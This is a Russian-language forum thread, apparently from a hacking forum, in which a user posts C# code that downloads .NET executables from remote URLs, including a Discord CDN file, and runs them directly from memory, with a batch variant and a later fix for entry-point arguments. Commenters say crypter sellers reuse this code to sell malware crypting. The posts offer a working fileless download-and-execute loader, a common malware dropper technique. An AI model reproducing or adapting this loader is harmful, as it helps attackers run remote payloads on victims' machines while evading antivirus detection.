Сейчас я покажу наглядный пример как средствами C# можно загрузить данные в память и вызвать из памяти что-то, на примере я скачаю файл из интернета прямо в память и запущу его из памяти. Создадим класс который позволит загружать данные из памяти: namespace ExeToMemory { using System; using System.Reflection; using System.Threading; public static class MemoryUtils { public static Thread RunFromMemory(byte[] bytes) { var thread = new Thread(new ThreadStart(() => { try { var assembly = Assembly.Load(bytes); MethodInfo method = assembly?.EntryPoint; method?.Invoke(null, null); } catch (BadImageFormatException) { Console.WriteLine("Native application not support"); } })); thread?.SetApartmentState(ApartmentState.STA); thread?.Start(); return thread; } } } Код namespace ExeToMemory { using System; using System.Reflection; using System.Threading; public static class MemoryUtils { public static Thread RunFromMemory(byte[] bytes) { var thread = new Thread(new ThreadStart(() => { try { var assembly = Assembly.Load(bytes); MethodInfo method = assembly?.EntryPoint; method?.Invoke(null, null); } catch (BadImageFormatException) { Console.WriteLine("Native application not support"); } })); thread?.SetApartmentState(ApartmentState.STA); thread?.Start(); return thread; } } } Создадим метод для загрузки файла и запуск из памяти: namespace ExeToMemory { using System; using System.IO; using System.Net; public static class Loader { public static void Inizialize(string url) { var Link = new Uri(url); using (var client = new WebClient()) { Console.WriteLine("Загружаем файл..."); byte[] data = client.DownloadData(Link); Console.WriteLine("Файл загружен"); if (data != null) { Console.WriteLine("Загружаем файл в память"); using (var mem = new MemoryStream(data)) { byte[] bytes = mem?.ToArray(); Console.WriteLine("Запуск файла из памяти."); MemoryUtils.RunFromMemory(bytes).Join(); } } } } } } Код namespace ExeToMemory { using System; using System.IO; using System.Net; public static class Loader { public static void Inizialize(string url) { var Link = new Uri(url); using (var client = new WebClient()) { Console.WriteLine("Загружаем файл..."); byte[] data = client.DownloadData(Link); Console.WriteLine("Файл загружен"); if (data != null) { Console.WriteLine("Загружаем файл в память"); using (var mem = new MemoryStream(data)) { byte[] bytes = mem?.ToArray(); Console.WriteLine("Запуск файла из памяти."); MemoryUtils.RunFromMemory(bytes).Join(); } } } } } } Вызов в Main namespace ExeToMemory { using System; internal static class Program { [STAThread] public static void Main() { Console.Title = "Execute Download File From Memory by r3xq1"; Loader.Inizialize("https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe"); Console.ReadKey(); } } } Код namespace ExeToMemory { using System; internal static class Program { [STAThread] public static void Main() { Console.Title = "Execute Download File From Memory by r3xq1"; Loader.Inizialize("https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe"); Console.ReadKey(); } } } P.S: Загружает только файлы на базе .Net Framework. Если хотите массово загрузить в память то используйте такой подход: namespace ExeToMemory { using System; using System.IO; using System.Net; public static class Loader { public static void Init() { byte[] data = DownloadFile("https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe"); using (var mem = new MemoryStream(data)) { byte[] bytes = mem?.ToArray(); MemoryUtils.RunFromMemory(bytes).Join(); } } public static void MassInit() { string[] binary = new string[2] { "https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe", "https://raw.githubusercontent.com/r3xq1/R3BinderNSIS/master/bin/Release/R3BinderTools.exe", }; foreach (string list in binary) { byte[] data = DownloadFile(list); using (var mem = new MemoryStream(data)) { byte[] bytes = mem?.ToArray(); MemoryUtils.RunFromMemory(bytes); // .Join() - для ожидания } } } private static byte[] DownloadFile(string url) { byte[] result = null; if (string.IsNullOrWhiteSpace(url)) return result; try { var Link = new Uri(url); using (var webClient = new WebClient()) { result = webClient.DownloadData(Link); } } catch (WebException) { Console.WriteLine("Not Internet Connected"); } return result; } } } Код namespace ExeToMemory { using System; using System.IO; using System.Net; public static class Loader { public static void Init() { byte[] data = DownloadFile("https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe"); using (var mem = new MemoryStream(data)) { byte[] bytes = mem?.ToArray(); MemoryUtils.RunFromMemory(bytes).Join(); } } public static void MassInit() { string[] binary = new string[2] { "https://raw.githubusercontent.com/r3xq1/AntiVM/master/AntiVM/bin/Release/AntiVM.exe", "https://raw.githubusercontent.com/r3xq1/R3BinderNSIS/master/bin/Release/R3BinderTools.exe", }; foreach (string list in binary) { byte[] data = DownloadFile(list); using (var mem = new MemoryStream(data)) { byte[] bytes = mem?.ToArray(); MemoryUtils.RunFromMemory(bytes); // .Join() - для ожидания } } } private static byte[] DownloadFile(string url) { byte[] result = null; if (string.IsNullOrWhiteSpace(url)) return result; try { var Link = new Uri(url); using (var webClient = new WebClient()) { result = webClient.DownloadData(Link); } } catch (WebException) { Console.WriteLine("Not Internet Connected"); } return result; } } } Вот и всё!) P.S: Решение с загрузкой любых аргументов: https://zelenka.guru/threads/2746042/
Не работает Несовпадение количества параметров. namespace ExeToMemory { using System; using System.Reflection; using System.Threading; public static class MemoryUtils { public static Thread RunFromMemory(byte[] bytes) { var thread = new Thread(new ThreadStart(() => { try { var assembly = Assembly.Load(bytes); MethodInfo method = assembly?.EntryPoint; method?.Invoke(null, null); } catch (BadImageFormatException) { Console.WriteLine("Native application not support"); } })); thread?.SetApartmentState(ApartmentState.STA); thread?.Start(); return thread; } } } namespace ExeToMemory { using System; using System.IO; using System.Net; public static class Loader { public static void Inizialize(string url) { var Link = new Uri(url); using (var client = new WebClient()) { Console.WriteLine("Загружаем файл..."); byte[] data = client.DownloadData(Link); Console.WriteLine("Файл загружен"); if (data != null) { Console.WriteLine("Загружаем файл в память"); using (var mem = new MemoryStream(data)) { byte[] bytes = mem?.ToArray(); Console.WriteLine("Запуск файла из памяти."); MemoryUtils.RunFromMemory(bytes).Join(); } } } } } } namespace ExeToMemory { using System; internal static class Program { [STAThread] public static void Main() { Console.Title = "Execute Download File From Memory by r3xq1"; Loader.Inizialize("https://cdn.discordapp.com/attachments/803591137343307786/833393511952285702/nice.exe"); Console.ReadKey(); } } } Код namespace ExeToMemory { using System; using System.Reflection; using System.Threading; public static class MemoryUtils { public static Thread RunFromMemory(byte[] bytes) { var thread = new Thread(new ThreadStart(() => { try { var assembly = Assembly.Load(bytes); MethodInfo method = assembly?.EntryPoint; method?.Invoke(null, null); } catch (BadImageFormatException) { Console.WriteLine("Native application not support"); } })); thread?.SetApartmentState(ApartmentState.STA); thread?.Start(); return thread; } } } namespace ExeToMemory { using System; using System.IO; using System.Net; public static class Loader { public static void Inizialize(string url) { var Link = new Uri(url); using (var client = new WebClient()) { Console.WriteLine("Загружаем файл..."); byte[] data = client.DownloadData(Link); Console.WriteLine("Файл загружен"); if (data != null) { Console.WriteLine("Загружаем файл в память"); using (var mem = new MemoryStream(data)) { byte[] bytes = mem?.ToArray(); Console.WriteLine("Запуск файла из памяти."); MemoryUtils.RunFromMemory(bytes).Join(); } } } } } } namespace ExeToMemory { using System; internal static class Program { [STAThread] public static void Main() { Console.Title = "Execute Download File From Memory by r3xq1"; Loader.Inizialize("https://cdn.discordapp.com/attachments/803591137343307786/833393511952285702/nice.exe"); Console.ReadKey(); } } }
r3xq1, я просто сначала решил затестить код и посмотреть работает ли он Причем тут копипастинг Твоя хуйня не работает
Supremacy, если у тебя что-то не работает - это твои проблемы! Если бы у тебя была голова на плечах и умел пользоваться руками, нашёл бы и сам исправил, а так же поделился бы способом решения. Но нужно обязательно высрать негатив в чью-то сторону, это так не работает. В конце поста есть способ решения.
Supremacy, потому что у твоего файла есть аргументы в методе майн например string[] args, можешь убрать это просто и все, либо же вот тебе код Assembly loader = Assembly.Load(Zip.Decompress(buffer)); object[] parm = null; if (loader.EntryPoint.GetParameters().Length > 0) { parm = new object[] { new string[] { null } }; } loader.EntryPoint.Invoke(null, parm); C# Assembly loader = Assembly.Load(Zip.Decompress(buffer)); object[] parm = null; if (loader.EntryPoint.GetParameters().Length > 0) { parm = new object[] { new string[] { null } }; } loader.EntryPoint.Invoke(null, parm);
r3xq1 так шо код нормальный. --- Сообщение объединено с предыдущим 22 апр 2021 мистер криптор не оценил твой код и вмп
r3xq1, я тут высказывал своё мнение. Эта выскочка начала писать, что ты говно показал. После он пожаловался и его и моё сообщение удалили. Он понял, что потеряет бизн если многие узнают об этой фиче. Ибо таким образом они криптуют за мани. за 800 деревянных крипт. Жесть. А юзают этот код, просто чистя стабы.